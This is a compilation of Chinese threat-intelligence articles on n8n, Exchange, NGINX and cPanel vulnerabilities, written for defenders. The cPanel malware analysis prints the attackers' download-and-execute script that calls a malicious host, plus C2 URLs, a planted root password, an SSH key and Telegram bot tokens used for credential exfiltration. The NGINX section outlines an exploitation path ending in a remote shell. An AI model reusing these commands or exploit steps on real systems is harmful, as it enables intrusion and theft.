安全研究人员 Jubke 披露了 n8n 平台中一组可串联利用的高危漏洞。三个漏洞（CVE-2026-44789、CVE-2026-44790、CVE-2026-44791）分布在 HTTP Request 节点、Git 节点和 XML 节点中，组合后可实现完整的远程代码执行（RCE）。

事件概述

n8n 作为一款开源工作流程自动化平台，近年来在 DevOps 团队、SaaS 集成商以及中大型企业中迅速普及。其架构设计允许用户通过可视化方式串联 API、数据库、云服务和内部工具，构建高度自动化的业务流程。这种"核心枢纽"定位使其成为攻击者梦寐以求的目标——一旦攻陷平台本身，攻击者即可横向染指整个数据处理链。

奇安信威胁情报中心监测发现，安全研究人员 Jubke 披露了 n8n 平台中一组可串联利用的高危漏洞。三个漏洞（CVE-2026-44789、CVE-2026-44790、CVE-2026-44791）分布在 HTTP Request 节点、Git 节点和 XML 节点中，组合后可实现完整的远程代码执行（RCE）。更值得警惕的是，利用门槛极低——攻击者仅需拥有创建或编辑工作流程的基本权限，即可触发整条攻击链，完成从权限提升到服务器接管的全流程。

受影响版本如下：

• n8n < 1.123.43
• n8n < 2.20.7
• n8n < 2.22.1

官方已在修复版本中完成补丁推送，建议所有使用 n8n 的企业立即核查部署版本，并优先完成升级。

漏洞技术分析

CVE-2026-44789：HTTP Request 节点原型污染

严重等级：Critical | CWE：CWE-1321（原型污染）| MITRE ATT&CK：T1203

该漏洞是三个漏洞中危害最为严重的一个，位于 n8n 的 HTTP Request 节点。问题根源在于分页参数校验存在缺陷，攻击者可以利用 JavaScript 原型污染（Prototype Pollution）技术向全局对象注入恶意属性。当受害实例上的其他工作流程被执行时，这些被污染的属性会触发意外行为，最终导致任意代码在服务器端执行。

原型污染在 JavaScript 应用安全领域并非新鲜事物，但在自动化平台场景下危害被显著放大。n8n 的工作流程通常处理来自多个外部源的动态数据，一旦攻击者通过原型污染篡改了核心对象的运行时行为，破坏效应会沿着工作流程的执行链路级联传播，影响范围远超单一工作流程本身。

从攻击向量来看，这是一个纯网络侧攻击（AV:N），无需任何用户交互，CVSS 评分达到高危区间。攻击者可以在不触发任何告警的情况下完成 exploit。

CVE-2026-44790：Git 节点命令行注入

严重等级：High | CWE：CWE-88（命令参数注入）| 关联 MITRE ATT&CK：T1059（命令与脚本解释器）

第二个漏洞影响 Git 节点。当 n8n 执行 Git push 操作时，用户输入的某些参数被直接拼接到命令行参数中，未经过充分的边界校验。攻击者利用这一缺陷，可以在 Git push 过程中注入恶意 CLI 参数，进而读取服务器上的任意文件。

这一漏洞的破坏力不容低估。通过文件读取，攻击者可获取敏感信息，包括但不限于：

• 配置文件中的数据库连接字符串
• API 密钥和认证凭据
• 环境变量文件（.env）
• SSH 私钥及其他密钥材料

一旦攻击者获取了这些凭据，后续行动空间将大幅扩展——从横向移动到持久化控制，威胁等级迅速攀升。

CVE-2026-44791：XML 节点补丁绕过

严重等级：High | CWE：CWE-1321（原型污染）

第三个漏洞是 XML 节点中早期安全修复的绕过。n8n 团队此前曾针对该节点的原型污染问题发布过补丁，但研究人员发现，通过替代数据路径仍可成功触发相同的污染行为。这意味着即便企业环境中已部署了之前的补丁，攻击者仍可利用这一绕过路径配合 CVE-2026-44789 实现完整的 RCE。

该漏洞的存在说明：在 JavaScript 运行时环境中，单一路径的修复不等于全局安全。"头痛医头"的修补策略在面对原型污染这类语言特性级别的漏洞时，往往难以根除问题。

攻击链解析：低权限如何撬开服务器大门

三个漏洞并非孤立存在，而是形成了一条完整的攻击链。以下是奇安信威胁情报团队还原的攻击路径：

第一步：立足。攻击者获取一个拥有工作流程创建/编辑权限的低权限账户。在多数企业环境中，DevOps 工程师、自动化管理员甚至部分业务人员都可能拥有这类权限。

第二步：污染。攻击者利用 CVE-2026-44789 在 HTTP Request 节点中构造恶意分页参数，通过原型污染向 JavaScript 全局对象注入恶意属性。这一步不需要任何管理员权限，仅利用节点本身的功能逻辑即可实现。

第三步：横向扩大。通过 CVE-2026-44791 绕过此前针对 XML 节点的安全修复，确保原型污染路径在多种数据处理场景下均可持续生效。

第四步：凭据窃取。利用 CVE-2026-44790 的命令行注入漏洞，通过 Git push 操作读取服务器上的敏感文件——配置、密钥、凭据统统落入攻击者手中。

第五步：全面接管。结合前几步获取的凭据和环境信息，攻击者可在服务器上执行任意代码，完成从"低权限用户"到"系统控制者"的权限跨越。整个过程静默高效，不会触发常规安全监控的告警阈值。

在典型的企业部署中，n8n 实例往往以服务账户或系统账户权限运行。一旦攻击者完成 RCE，其获得的不是普通用户权限，而是能够访问环境变量、配置文件乃至底层系统的更高权限级别。这使得后续的横向移动和数据窃取成本几乎为零。

威胁态势评估

平台普及度推高实际风险

n8n 的设计哲学强调灵活性和易用性。用户无需深厚的编程背景，即可通过可视化界面将 API、云服务、数据库等组件串联成自动化工作流程。这一定位直接导致了两个后果：

1. 用户群体庞大且分散：开发团队、运维团队乃至业务团队都可能独立部署 n8n 实例，导致资产管理出现盲区。
2. 连接范围广泛：n8n 通常持有大量第三方服务的 API 密钥、数据库访问凭据和环境配置信息，一旦被攻陷，攻击者获取的不只是一个平台，而是整个集成链条的访问权。

从奇安信全球威胁视野来看，这类处于供应链"中间位置"的自动化平台，正在成为高级威胁行为体优先关注的目标——控制一个枢纽节点的价值，远高于攻陷单个终端。

利用门槛与攻击烈度的错配

当前披露信息显示，这些漏洞需要"低权限认证"作为前置条件。但奇安信安全研究团队提醒，这一限制条件在实际企业环境中并不构成有效防护：

• 在许多组织中，"创建工作流程"的权限已广泛授予开发者和部分业务人员
• n8n 的多用户协作特性意味着同一实例上往往存在多个具备编辑权限的账户
• 即使是内部用户，其账户被攻陷（如钓鱼攻击、凭据复用）的概率并不低

综合评估，实际可利用的攻击面远超实验室环境下的理想化评估。

公开 Exploit 预期

安全社区通常遵循"漏洞披露→研究验证→PoC 公开"的演进路径。鉴于这三个漏洞的利用复杂度相对可控（无需复杂的漏洞利用链），且 CVSS 评分一致处于高危区间，奇安信威胁情报中心研判，公开的漏洞利用代码（PoC/EXP）预计将在短期内出现。一旦公开代码可用，结合 n8n 在全球范围内的广泛部署，规模化攻击窗口将迅速打开。

MITRE ATT&CK 技战术映射

缓解建议

紧急措施（24-72 小时内）

1. 立即升级：将所有 n8n 实例升级至 1.123.43、2.20.7、2.22.1 或更高版本。这是消除风险的最直接手段。
2. 临时缓解：如无法立即升级，可通过设置环境变量 N8N_NODES_EXCLUDE 禁用 HTTP Request、Git 和 XML 节点，同时严格限制工作流程的创建和编辑权限仅授予最小必要人员。
3. 权限审查：审计所有拥有工作流程编辑权限的账户，撤销非必要权限，启用多因素认证（MFA）。

中期加固（1-2 周内）

• 在 n8n 实例前部署 Web 应用防火墙（WAF），对工作流程配置接口的异常请求进行检测和阻断
• 建立 n8n 版本管理机制，确保所有节点版本始终处于官方支持的最新稳定分支
• 对 n8n 实例的网络访问进行精细化控制，限制其仅能访问必要的下游服务

长期安全建设

• 将 n8n 实例纳入配置管理（CMDB）系统，确保所有部署实例无遗漏
• 在 CI/CD 流程中集成安全扫描环节，对自动化工作流程的配置进行合规性检查
• 建立威胁情报订阅机制，第一时间获取相关漏洞的公开利用情报

奇安信威胁情报说明

奇安信威胁情报中心持续监控全球范围内的漏洞披露和威胁活动。本次 n8n 漏洞事件中涉及的三个 CVE 均已纳入奇安信威胁情报库，具备以下检测能力：

• 相关漏洞的规则匹配和告警
• 原型污染技术的特征检测
• 命令行注入行为的日志分析规则

当前未发现针对该漏洞的已知 APT 组织归因信息，但基于漏洞利用的便利性和平台战略价值，高级别威胁行为体（APT）可能在未来将其纳入攻击工具库。建议安全团队保持关注。

IOC 与关联指标

本次披露的漏洞为设计缺陷类漏洞，未涉及传统意义上的失陷指标（IOC），如恶意文件哈希、恶意域名等。核心关注点应聚焦于受影响的版本范围和漏洞类型，而非文件级指标。

参考来源

• https://github.com/n8n-io/n8n/security/advisories/GHSA-wrwr-h859-xh2r
• https://github.com/n8n-io/n8n/security/advisories/GHSA-57g9-58c2-xjg3
• https://github.com/n8n-io/n8n/security/advisories/GHSA-c8xv-5998-g76h
• https://1275.ru/vulnerability/kriticheskie-uyazvimosti-v-platforme-avtomatizatsii-n8n-pozvolyayut-udalenno-vypolnyat-kod-cherez-tsepochku-atak_25976
• https://www.cybersecuritynews.com/n8n-vulnerabilities-rce
• https://www.thedailytechfeed.com/n8n-critical-vulnerability-rce
• https://www.cyberwebspider.com/n8n-security-vulnerabilities

阅读原文

跳转微信打开

微软于近期披露了一个影响广泛的高危零日漏洞CVE-2026-42897，该漏洞已被确认在野外被积极利用。

事件概述

微软于近期披露了一个影响广泛的高危零日漏洞CVE-2026-42897，该漏洞已被确认在野外被积极利用。

这个漏洞来得猝不及防——就在微软发布包含137个漏洞修复的补丁星期二更新后仅仅两天，安全研究人员便发现了这个此前未知的零日漏洞。漏洞影响Microsoft Exchange Server的多个版本，包括Subscription Edition、2016版和2019版的本地部署版本。

奇安信威胁情报中心监测显示，该漏洞的CVSS评分高达8.1（高危），属于典型的欺骗类漏洞，同时具备跨站脚本(XSS)攻击能力。攻击者无需特殊权限，即可通过精心构造的恶意邮件触发漏洞，在目标用户的浏览器上下文中执行任意JavaScript代码。

关键结论：虽然该漏洞目前尚未被CISA纳入已知被利用漏洞（KEV）目录，但微软已明确表示存在活跃的野外利用，这使得该漏洞的紧迫程度不容低估。

技术分析与攻击链路

漏洞根因

CVE-2026-42897的技术本质是输入验证不当导致的跨站脚本漏洞。问题出在Exchange Server的Outlook Web Access（OWA）组件中——当Web应用程序生成页面时，对用户可控输入的过滤和中和处理存在缺陷。

从攻击链角度分析，该漏洞属于MITRE ATT&CK框架中的以下技术类别：

• T1189：路过式下载（初始访问）
• T1059.007：JavaScript执行（命令和脚本执行）
• T1566.002：鱼叉式钓鱼邮件（网络钓鱼）

攻击路径还原

结合多来源情报，该漏洞的完整攻击链路如下：

第一步：投递阶段

攻击者构造包含恶意载荷的特殊邮件。这里的"特殊"在于，邮件内容中嵌入了精心设计的脚本代码，当邮件通过OWA界面渲染时，这些代码会存在于页面DOM中。

第二步：触发阶段

目标用户使用Outlook Web Access打开邮件。需要注意的是，漏洞触发可能需要特定的用户交互条件，如鼠标悬停、点击邮件中的某个元素，或页面滚动到特定位置。这解释了为什么部分来源提到"under certain conditions"。

第三步：代码执行

当条件满足时，攻击者注入的JavaScript代码在用户浏览器上下文中执行。这意味着恶意代码拥有与当前登录用户相同的会话权限，可以：

• 读取用户可见的所有邮件内容
• 窃取会话Cookie，实现会话劫持
• 提取OWA界面中的敏感数据
• 构造进一步的攻击载荷

第四步：后继行动

成功利用后，攻击者可进一步实施：

• 横向移动至企业内网其他系统
• 凭据窃取和权限提升
• 数据外泄
• 部署后续攻击工具

漏洞技术特征对比

威胁态势评估

野外利用确认

该漏洞已被明确标注为"在野外被积极利用"。微软安全响应中心发布的官方公告也明确指出这一点，这与部分报道中"尚未被CISA KEV收录"的描述并不矛盾——CISA的收录存在一定滞后性，但漏洞的实际危害已经发生。

该漏洞由匿名安全研究人员发现并私下报告，而非通过微软的漏洞赏金计划或公开渠道披露。这种报告方式往往意味着漏洞信息可能已在更广泛的范围内流传，攻击者可能比公众更早知晓相关细节。

历史脉络与威胁演进

CVE-2026-42897并非微软Exchange Server首次出现的高危漏洞。回顾近年来Exchange Server的安全事件：

2019-2020年：Exchange的黑暗时期

• CVE-2020-0688：Exchange控制面板远程代码执行
• CVE-2021-26855至CVE-2021-27065（ProxyLogon）：大规模APT攻击利用
• CVE-2021-34473至CVE-2021-42321（ProxyShell）：类似攻击链的演进

2021-2024年：持续高压

据HEAL Security报告，CISA数据显示过去五年间已有19个微软Exchange Server漏洞被添加到已知被利用漏洞目录，其中14个被明确用于勒索软件攻击。

CVE-2026-42897的攻击模式与早期的ProxyLogon、ProxyShell漏洞存在相似性——都是通过OWA界面作为入口，利用服务器端组件的处理缺陷实现攻击链的延伸。这种"邮件入口+服务端利用"的组合拳，一直是APT组织和经济利益驱动型攻击者的最爱。

关联威胁活动

据HEAL Security同期监测，APT组织正在全球范围内针对制造业和供应链企业部署名为TencShell的新型恶意软件。虽然目前没有直接证据表明TencShell与CVE-2026-42897存在关联，但这种时间线上的巧合值得关注——国家级APT组织通常会优先储备和利用高价值零日漏洞，而Exchange Server作为企业核心通信平台，一直是这类组织的优先目标。

国内影响分析

受影响范围

国内使用微软Exchange Server本地部署版本的用户群体主要集中在以下行业：

• 大型企业：尤其是外资企业和跨国公司的国内分支机构
• 政府机构：部分党政机关曾使用Exchange作为邮件系统
• 金融机构：银行、证券、保险等行业存在一定部署量
• 高校和科研机构：学术邮箱系统常用Exchange架构

需要指出的是，近年来国内信创替代进程加速，越来越多的政府机关和关键信息基础设施运营单位已将邮件系统迁移至国产解决方案，这在一定程度上降低了个体风险。

当前威胁等级

对于国内普通企业用户：短期内的直接威胁相对可控，原因包括：该漏洞利用需要发送特制邮件针对性投递、Exchange Server国内部署量呈下降趋势、国内邮箱系统存在额外的安全防护层。

对于高价值目标：风险等级维持在高水平。APT组织历来重视对Exchange Server漏洞的储备和利用，任何在野0day都可能已被纳入攻击工具库。金融、政府、关键基础设施等行业的Exchange Server用户应视为优先防护对象。

防御建议

立即行动（24小时内）：

1. 确认当前Exchange Server版本，确认是否在受影响范围内
2. 检查是否已启用Exchange Emergency Mitigation Service (EEMS)
3. 审查OWA访问日志，关注异常的邮件访问行为
4. 对Exchange Server管理员账户实施额外的多因素认证

短期措施（1周内）：

1. 限制OWA的外部访问，仅保留必要的业务通道
2. 加强邮件网关的入站检查规则，对异常HTML邮件内容实施过滤
3. 向安全运营团队通报该漏洞，要求提高威胁监测级别
4. 制定紧急补丁部署计划，一旦微软发布官方修复，立即部署

中长期建议：

1. 加速Exchange Server向云端Exchange Online或国产邮件系统的迁移
2. 建立Exchange Server的持续安全监测机制
3. 定期开展邮件系统安全评估和渗透测试

微软官方缓解措施

微软已发布临时缓解指导，核心措施包括：

Exchange Emergency Mitigation Service (EEMS)

这是微软为Exchange Server提供的紧急缓解服务，类似于自动化的安全补丁机制。启用EEMS后，当微软推送特定漏洞的缓解规则时，Exchange Server会自动应用这些规则，无需管理员手动干预。

建议操作步骤：

1. 确保Exchange Server的EEMS服务处于启用状态
2. 检查Windows Server上的Microsoft Exchange Mitigation Service运行状态
3. 应用微软建议的URL重写规则，对OWA请求进行过滤

微软表示永久修复补丁正在开发中，但目前无法给出具体时间表。这种"补丁在路上"的状态预计将持续数周，期间组织需要依靠缓解措施和持续监控来降低风险。

总结与展望

CVE-2026-42897的出现再次提醒我们，微软Exchange Server作为企业通信的核心基础设施，其安全性始终是攻防博弈的焦点。该漏洞的高CVSS评分、已确认的野外利用、以及被APT组织青睐的历史传统，共同构成了的威胁态势。

国内用户虽然当前面临的紧迫风险相对可控，但不应放松警惕。国家级APT组织对高价值目标的持续关注，意味着任何0day漏洞都可能在某个时刻被"激活"。组织应借此机会重新审视自身的Exchange Server安全态势，加速向更安全的架构迁移，同时保持对类似漏洞情报的持续关注。

最后提醒，安全是一场持久战，而非遭遇战。保持警惕，持续监测，果断响应，才是应对这类安全事件的正确姿势。

参考来源

• https://cyberwebspider.com/security-week-news/urgent-advisory-exchange-server-zero-day/
• https://www.news4hackers.com/microsoft-warns-hackers-exploiting-unpatched-exchange-server-vulnerability
• https://radar.offseq.com/microsoft-warns-exchange-server-zero-day-exploited-wild
• https://healsecurity.com/on-prem-microsoft-exchange-server-cve-2026-42897-exploited-via-crafted-email
• https://allthingsgeek.me/exchange-zero-day-vulnerability-being-exploited

阅读原文

跳转微信打开

EasterBunny：归因于APT29的高级间谍工具；Kimsuky组织依托GitHub+Dropbox分发恶意载荷；Lazarus Group 利用 Git 钩子隐藏恶意软件；Paper Werewolf使用新工具包针对俄罗斯工业、金融和运输组织；Gamaredon的感染链：伪造电子邮件、GammaDrop和GammaLoad

跳转微信打开

2026年初，安全研究组织depthfirst通过其自动化代码审计系统对NGINX源代码进行深度扫描，识别出五个安全缺陷，其中四个已获得NGINX官方确认并分配CVE编号。这一发现揭示了NGINX核心组件中存在的严重内存损坏问题，攻击者可利用这些漏洞实现远程代码执行

漏洞概述

2026年初，安全研究组织depthfirst通过其自动化代码审计系统对NGINX源代码进行深度扫描，在六小时内识别出五个安全缺陷，其中四个已获得NGINX官方确认并分配CVE编号。这一发现揭示了NGINX核心组件中存在的严重内存损坏问题，攻击者可利用这些漏洞实现远程代码执行。

关键CVE清单：

CVE-2026-42945作为该批次中最严重的漏洞，CVSS评分高达9.2，漏洞代码于2008年引入，跨越近18年未被发觉，影响范围覆盖NGINX Open Source 0.6.27至1.30.0版本以及NGINX Plus R32至R36版本。该漏洞的利用门槛较低，在禁用ASLR的环境中已验证可实现可靠的远程代码执行。

技术根因分析

脚本引擎两遍处理机制

NGINX配置中的rewrite指令和set指令是构建API网关和请求路由的核心组件。rewrite指令允许通过正则表达式修改请求URI，当替换字符串包含问号时，NGINX将问号后的内容作为查询字符串处理。set指令则用于将值赋给自定义变量，支持捕获组的引用，这两个指令的组合使用极为普遍。

NGINX内部通过脚本引擎（script engine）优化这些操作。在配置解析阶段，脚本引擎将这些指令编译为操作序列；在运行时，通过两遍（two-pass）机制执行：首先计算最终字符串的总长度，从内存池分配精确大小的缓冲区；随后执行复制操作将实际数据写入新分配的缓冲区。这种设计避免了多次小额内存分配的性能开销，但要求两遍之间的引擎状态保持一致。

is_args标志传播失效

漏洞根因位于src/http/ngx_http_script.c。当rewrite指令的替换字符串包含问号时，函数ngx_http_script_start_args_code会将主引擎的e->is_args标志设置为1：

void ngx_http_script_start_args_code(ngx_http_script_engine_t *e) {
    e->is_args = 1;
    e->args = e->pos;
    e->ip += sizeof(uintptr_t);
}

该标志在后续处理中从未被重置。当后续的set指令引用正则捕获组时，触发ngx_http_script_complex_value_code函数执行长度计算。此时，该函数创建一个完全清零的子引擎：

void ngx_http_script_complex_value_code(ngx_http_script_engine_t *e) {
    ngx_http_script_engine_t le;
    ngx_memzero(&le, sizeof(ngx_http_script_engine_t));
    le.ip = code->lengths->elts;
    // ...
}

由于子引擎被初始化为全零，le.is_args为0。长度计算函数ngx_http_script_copy_capture_len_code据此判断不需要进行URL转义，计算出的长度是原始捕获字节数。然而在实际复制阶段，主引擎的e->is_args仍为1，复制函数调用ngx_escape_uri进行URL转义，每个可转义字节扩展为3字节（%XX格式）。长度计算与实际写入数据量之间的不匹配，导致堆缓冲区溢出。

攻击向量与利用链

漏洞触发需要同时满足两个条件：rewrite指令的替换字符串包含问号，且后续存在引用捕获组的set指令。攻击者可通过构造恶意请求路径，利用截断的正则表达式捕获未转义的路径字符。

depthfirst已公开完整的概念验证代码，验证了以下攻击路径：

1. 攻击者通过跨请求堆风水（heap feng shui）技术操控堆布局
2. 利用POST body喷洒（spraying）破坏相邻的ngx_pool_t结构
3. 将cleanup指针重定向至伪造的ngx_pool_cleanup_s结构
4. 在内存池销毁时触发system()调用，获得远程shell 在Ubuntu 24.04.3 LTS环境中，该概念验证代码已验证可行。

其他关联漏洞

CVE-2026-42946：SCGI/UWSGI模块过度内存分配

SCGI和UWSGI模块在解析上游状态行时存在状态不匹配问题。当状态行读取不完整时，跨缓冲区的指针减法运算产生约1TB的键长度，导致worker进程崩溃。

CVE-2026-40701：SSL模块释放后使用

TLS连接关闭时，若异步OCSP DNS解析尚未完成，上下文池被销毁但解析器请求未被取消。后续DNS计时器回调将对已释放的内存指针进行解引用。

CVE-2026-42934：Charset模块越界读取

Charset模块在处理跨代理缓冲区边界的不完整UTF-8序列时存在off-by-one错误，导致长度状态损坏，计算出负的源偏移量，在分配的上游缓冲区前读取2字节。

APT威胁态势评估

利用可能性分析

CVE-2026-42945作为高严重性远程代码执行漏洞，具备以下APT利用特征：

• 漏洞成熟度：漏洞代码存在18年，利用思路清晰，公开的概念验证代码可直接适配
• 攻击面广泛：NGINX作为全球使用最广泛的Web服务器之一，占据约三分之一的市场份额，部署量巨大
• 利用门槛中等：需要特定的配置组合（rewrite含问号 + set引用捕获组），但目标配置广泛存在于API网关场景

威胁行为体关注点

国家级APT组织通常将此类基础组件漏洞作为：

• Initial Access阶段：通过Web边界设备获得内网立足点
• Lateral Movement载体：攻陷Web服务器后进一步横向移动至后端系统
• 供应链投毒潜力：若攻击者同时掌握构建环境，可进一步扩展影响范围

战术技术演变预测

根据MITRE ATT&CK框架，该漏洞利用涉及以下技术：

• T1190：利用面向公众的应用组件
• T1059.003：命令和脚本解释器（通过成功利用获得shell）
• T1543.003：创建或修改系统进程（维持持久化）

预计后续将出现针对该漏洞的自动化利用工具，降低攻击门槛。

防护建议

紧急处置

1. 立即统计境内部署的NGINX版本，识别0.6.27至1.30.0版本（开源版）及R32至R36版本（Plus版）的部署实例
2. 检查现有配置中是否包含rewrite指令含问号且后续存在set指令引用捕获组的组合模式
3. 在Web应用层之前部署WAF规则，检测异常HTTP请求路径特征

缓解措施

1. 升级至NGINX最新稳定版本（1.30.0+），确认供应商已发布的补丁已应用
2. 启用ASLR、DEP等系统级内存保护机制，增加利用难度
3. 以低权限账户运行NGINX worker进程，限制成功利用后的影响范围
4. 实施网络分段，限制Web服务器与后端关键系统的直接通信

监控策略

1. 部署内存完整性监控工具，检测heap overflow特征行为
2. 监控Web服务器进程异常退出和资源消耗异常
3. 建立NGINX配置变更的完整性校验机制

结论

CVE-2026-42945代表了基础组件中长期潜伏漏洞的典型风险模式。该漏洞根因在于2008年引入的代码设计缺陷，在特定配置组合下可被触发导致堆缓冲区溢出。鉴于NGINX的广泛部署和漏洞的严重性，APT组织极有可能将其纳入武器库。

建议安全运营团队将此次披露作为优先级事件进行响应，在确认受影响资产范围后尽快推进修复工作。考虑到公开漏洞利用代码的存在，修补窗口期应尽可能压缩至72小时内。

IOC指标

MITRE ATT&CK技术映射

参考来源

• https://depthfirst.com/research/nginx-rift-achieving-nginx-rce-via-an-18-year-old-vulnerability
• https://github.com/DepthFirstDisclosures/Nginx-Rift

阅读原文

跳转微信打开

以下文章来源于：奇安信XLab

奇安信XLab是国内最资深利用大规模多维度数据进行大网安全平台建设，数据分析与研究及安全应用的团队之一，建立了国内首个 PassiveDNS系统，披露了30+有影响力的僵尸网络。本公众号是XLab交流技术研究成果的平台，欢迎订阅、转发、留言

XLab大网威胁感知系统持续监测到大量黑灰产组织正在积极利用CVE-2026-41940实施网络攻击，相关行为包括挖矿、勒索、僵尸网络扩散、后门植入等多种恶意活动。监测数据显示，当前已有来自全球的 2000 余个攻击源 IP 参与针对该漏洞的自动化攻击与网络犯罪活动

背景

CVE-2026-41940 是一个影响 cPanel & WHM 的高危未授权认证绕过漏洞。该产品广泛应用于 Linux 服务器运维与虚拟主机管理。漏洞 CVSS 评分高达 9.8（Critical），攻击者无需提供账号或密码，即可远程绕过身份认证并接管 cPanel / WHM 控制面板，可使未经过身份验证的远程攻击者获得受影响服务器的管理员权限。

自 2026 年 4 月 28 日漏洞公开披露以来，XLab大网威胁感知系统持续监测到大量黑灰产组织正在积极利用该漏洞实施网络攻击，相关行为包括挖矿、勒索、僵尸网络扩散、后门植入等多种恶意活动。监测数据显示，当前已有来自全球的 2000 余个攻击源 IP 参与针对该漏洞的自动化攻击与网络犯罪活动，其地域分布如下：

5月2日，安全社区披露黑客已利用该漏洞成功入侵东南亚政府及军事机构，窃取了约4.37G敏感文件的安全事件。

"In total, 110 files were stolen (~4.37GB). Files were in folders named after the years 2020, 2021, … 2024. This data was stolen in March 2026, although last referenced files from November - December 2024." -- By Ctrl-Alt-Intel

5月4日，我们在梳理通过CVE-2026-41940漏洞投递的恶意载荷过程中，发现了一个与众不同的新型感染器，该感染器采用Go语言编写，项目名称为"Payload"，其中嵌入了大量土耳其语的日志信息，疑似由AI生成。其主要功能是：向被入侵的cPanel系统植入SSH 公钥、恶意PHP、JS代码，窃取登录凭证，并将窃得的信息回传至黑客控制的Telegram群组，最终部署一个名为"filemanager"的远控木马。

在溯源分析时，我们发现本次活动的Downloader域名一个2022年上传至VirusTotal，至今依然0检测的PHP后门使用了JS代码中的相同的C2域名 wrned[.]com，这个域名早在2020年就投入使用。种种迹象表明，这些威胁的背后并不是那种"打完就跑"的投机型脚本小子，而是一个能够隐秘活动多年、至今仍未被发现的稳定黑客团体。根据创建Telegram群组时所使用的用户名（first_name）"0xWR"，以及JS代码中采用Rot13算法隐藏C2的行为，我们内部将这个神秘的黑客组织命名为Mr_Rot13。

5月4日下午，ID为"xrill_y"的用户向Mr_Rot13创建的Telegram机器人发送了一条消息，这一举动似乎打草惊蛇（当然这只是我们的解读）。次日，Mr_Rot13迅速作出反应：升级恶意样本、更换机器人令牌（bot token），并将机器人移出群组。直到5月7日，他才再次将该机器人拉回群中。目前群组中一共有3名成员，我们的技术手段无法确认他们的身份，欢迎了解内幕的朋友向我们分享更多细节。

从2020年至今的六年时间里，Mr_Rot13 的相关样本及基础设施在各安全产品中的检测率持续处于极低水平。考虑到该威胁活动仍在进行中，且涉及的 cPanel 漏洞具有高危特性，我们特撰写本威胁快讯，旨在向安全社区分享相关发现，携手共同维护网络安全。

Payload感染器

Mr_rot13通过CVE-2026-41940投递的恶意脚本如下所示，它的功能是向下载服务器 cp.dene.[de.com 请求一个名为Update的恶意载荷，并通过 nohup 命令使其在后台持续运行（通常结合 & 使用）。

F=/root/.u$$; 
(
wget -q -O "$F" 'https://cp.dene.de[.]com/Update' 2>/dev/null 
||
curl -sk -o "$F" 'https://cp.dene.de[.]com/Update'
) 
&& chmod 755 "$F" && (nohup "$F" -s >/dev/null 2>&1 &) 
&& sleep 2; rm -f "$F"

这个所谓的Update文件就是我们前文所说的Payload感染器，通过对下载URL的持续监控，一共捕获了3个版本，它们的功能相近，本文以5月5日捕获的最新版本为主要分析对象，基本信息如下所示：

MD5: fb1bc3f935fdeb3555465070ba2db33c
Magic: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped
FileName: Update

Payload 感染器的功能直观且结构简单，分析难度较低。Payload感染器在运行时，若未指定 -s 或 --silent 参数，会逐项输出各类任务的执行状态。从字符串的风格来看，该感染器极有可能是攻击者直接借助 AI 生成的。

1. 修改密码 & 植入SSH 公钥

对应的处理函数分别为 main_changeRootPassword 和 main_installSSHKey。

修改ROOT密码：

root:123Qwe123C

植入SSH 公钥：

ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFIswJUfqrkbm2sIMfNHZn1sOYkxjNzEynqJKFU7qoez cpanel-updater

2. 植入PHP Webshell

对应的处理函数为 main_installCpanelPy。Webshell的下载地址为 https://cp.dene.de[.]com/cpanel.py，本地路径为 /usr/local/cpanel/cgi-sys/cpanel.py。这个Webshell的名字是 Cpanel-Python，支持文件上传&浏览，以及远程命令执行等功能。

3. 注入Javascript代码

对应的处理函数为 main_injectLoginPage。从远程服务器 cp.dene.de[.]com 下载 login.js、login.tmpl，保存至 /usr/local/cpanel/base/unprotected/cpanel，用于创建自定义的登录页面。其中 login.tmpl 为模板文件，通过代码片段将 login.js 嵌入到 HTML 页面中。

而在 login.js 则通过下载代码片段实现窃取用户登录时的用户名、密码、User-Agent 以及当前 URL，并通过 AJAX 请求将这些敏感数据发送到攻击者控制的远程服务器。服务器地址 uggcf://jearq.pbz/ybt.cuc?g=3 使用 ROT13 编码，解码后为 https[:]//wrned.com/log[.]php?t=3。

4. 部署Filemanager远控

对应的处理函数为 main_runWpsockInstaller。通过代码片段构建 curl 下载命令，其中 url 指向 Filemanager 后门的安装脚本下载地址 https[:]//wpsock[.]com/cpanel/install.sh，该域名的创建时间为2021年。

install.sh 中的代码表明 Filemanager 是一个跨平台的后门，支持 Darwin、Linux、Windows 3 个主流操作系统。

5. 敏感的信息回传至C2

对应的处理函数为 main_postData。收集被入侵系统的 bash 历史记录、ssh、设备信息、数据库密码、Valiases 配置等敏感信息，回传到黑客服务器，回传接口为 https://cp.dene.de[.]com/collect.php。

6. 敏感信息回传到Telegram

对应的处理函数为 main_sendTelegram 或 main_sendTelegramFile。除了 main_postData 这种方式，Payloader 感染器还支持一条冗余的 Telegram 回传通道，接收信息的群组 ID 为 -443071772。

众所周知，使用 Telegram Bot 进行数据传递，必须配置 Token，目前一共发现以下 2 个 Token，它们对应的其实都是一个名为 "log_FatherBot" 的 bot，只不过前者已被废除：

1190043163:AAEy1FDoB_r8KFiOIqsEpgDQ2k78Ai6BdWk
1190043163:AAFtaUfpui9fqKoRnqOa5XvT6MHLcK1axiU

知道 Token 以及群组 ID 之后，我们通过 getChatAdministrators 接口发现这个群组的创建者为 0xWR，遗憾的是他的个人简介中并没有暴露更多信息。

5月4日，用户 xrill_y 使用第一个 token 向 Bot 发送了消息。Mr_rot13 迅速响应，在新样本中直接作废该 token 并启用了新 token。随后，xrill_y 似乎为了隐藏，将用户名改为 iudcbjrfv。根据现在的线索，我们无法确定 xrill_y 的真实身份，但倾向于认为他是一名安全研究人员。

Filemanager远控

Filemanager 后门是一个跨平台的远控木马，支持 Darwin、Linux、Windows 三大主流操作系统。本文以 Linux、AMD64 CPU 架构的样本为主要分析对象，它的基本信息如下所示：

MD5: 9305b4ebbb4d39907cf36b62989a6af3
MAGIC: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped
Name: filemanager-linux-amd64

Filemanager 支持大量参数，具体用法请参考帮助信息，本文不再逐一赘述。需特别注意的是，该工具不支持直接传递明文密码。正确的做法是：先用 -hash 参数对目标密码生成 bcrypt 哈希值，再将生成的哈希值通过 -pass-hash 参数传入。在 Shell 环境中，必须使用单引号将 bcrypt 哈希值括起来（例如 '$2a$10$...'），否则 $ 符号会被解释为变量，导致密码无效。

Filemanager 运行时监听 port 参数指定的端口，通过 Web 页面为攻击者提供远程管理被入侵系统的通道。

为了演示它的功能，我们在测试设备中启动 filemanager，并指定用户名 & 密码，端口为 9999。

